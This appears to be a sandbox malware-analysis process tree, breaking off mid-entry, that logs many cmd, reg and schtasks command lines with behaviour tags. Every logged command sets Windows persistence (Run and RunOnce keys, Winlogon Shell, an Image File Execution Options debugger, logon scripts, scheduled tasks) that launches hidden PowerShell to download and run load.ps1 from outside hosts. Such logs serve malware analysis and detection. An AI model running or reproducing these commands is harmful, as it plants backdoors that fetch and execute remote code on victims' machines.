  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:2436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:880
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:1272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1704
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
    3⤵
    PID:4700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1116
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
    3⤵
    PID:1740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
    3⤵
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
  2⤵
  PID:1900
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /f
    3⤵
    PID:6332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
  2⤵
  - System Time Discovery
  PID:3456
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
    3⤵
    - System Time Discovery
    PID:7276
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3560
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
    3⤵
    PID:7460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:564
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
    3⤵
    PID:7164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
  2⤵
  - System Time Discovery
  PID:4936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
    3⤵
    - System Time Discovery
    PID:7888
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2068
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
    3⤵
    PID:1240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  PID:2504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    PID:7232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
  2⤵
  PID:224
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
    3⤵
    PID:8060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:4256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3652
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
  2⤵
  - System Time Discovery
  PID:3404
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
    3⤵
    - System Time Discovery
    PID:8844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
  2⤵
  PID:2096
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
    3⤵
    PID:8860
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2264
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
    3⤵
    PID:8868
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1272
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
    3⤵
    PID:8584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
    3⤵
    PID:8852
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
    3⤵
    PID:8224
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
  2⤵
  PID:1408
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
    3⤵
    PID:7724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  PID:4628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    PID:8836
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
    3⤵
    PID:8708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
  2⤵
  - System Time Discovery
  PID:2884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.467timebet.com/load.ps1')\"" /f
    3⤵
    - System Time Discovery
    PID:7240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1820
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /f
    3⤵
    PID:9232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
  2⤵
  PID:1376
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /f
    3⤵
    PID:9328
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /f
    3⤵
    PID:7060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    PID:9336
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
  2⤵
  PID:3136
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://penze.yify-go-123-az-movies.com/load.ps1')\"" /f
    3⤵
    PID:5744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
  2⤵
  PID:1252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
    3⤵
    PID:7060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /f
    3⤵
    PID:9344
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5344
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /f
    3⤵
    PID:8708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
  2⤵
  PID:5392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /f
    3⤵
    PID:656
- C:\Windows\SysWOW64\cmd.exe
